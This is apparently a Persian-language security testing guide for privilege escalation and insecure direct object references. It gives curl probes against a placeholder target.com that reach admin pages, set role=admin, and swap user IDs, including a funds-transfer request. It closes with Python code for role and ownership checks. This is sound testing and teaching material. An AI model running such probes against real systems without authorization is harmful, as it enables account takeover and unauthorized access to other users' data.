تست ارتقای امتیاز

1# دسترسی مستقیم به URL مدیریت
2curl "https://target.com/admin/dashboard" -H "Cookie: session=normal_user"
3
4# تغییر نقش در فرم
5curl -X POST "https://target.com/api/profile" \
6  -H "Cookie: session=normal_user" \
7  -d 'role=admin'
8
9# تغییر نقش در JSON
10curl -X PUT "https://target.com/api/user/123" \
11  -H "Cookie: session=normal_user" \
12  -H "Content-Type: application/json" \
13  -d '{"role": "admin"}'
14
15# تست API endpoint مدیریت
16curl "https://target.com/api/admin/users" -H "Cookie: session=normal_user"

1# تغیید ID کاربر در URL
2curl "https://target.com/api/user/456" -H "Cookie: session=user_123"
3
4# تغیید ID در پارامتر
5curl "https://target.com/api/orders?user_id=456" -H "Cookie: session=user_123"
6
7# تغیید ID در body
8curl -X POST "https://target.com/api/transfer" \
9  -H "Cookie: session=user_123" \
10  -d 'from=123&to=456&amount=1000'
11
12# تست با UUID
13curl "https://target.com/api/user/550e8400-e29b-41d4-a716-446655440000" \
14  -H "Cookie: session=user_123"

1# بررسی مجوز در decorator
2def require_role(role):
3    def decorator(view_func):
4        def wrapper(request, *args, **kwargs):
5            if not request.user.is_authenticated:
6                return Response(status=401)
7            if request.user.role != role:
8                return Response(status=403)
9            return view_func(request, *args, **kwargs)
10        return wrapper
11    return decorator
12
13# استفاده
14@require_role('admin')
15def delete_user(request, user_id):
16    # فقط مدیر می‌تواند کاربر حذف کند
17    user = get_object_or_404(User, id=user_id)
18    user.delete()
19    return Response(status=204)
20
21# بررسی مالکیت
22def get_order(request, order_id):
23    order = get_object_or_404(Order, id=order_id)
24    if order.user != request.user and not request.user.is_admin:
25        return Response(status=403)
26    return Response(order.data)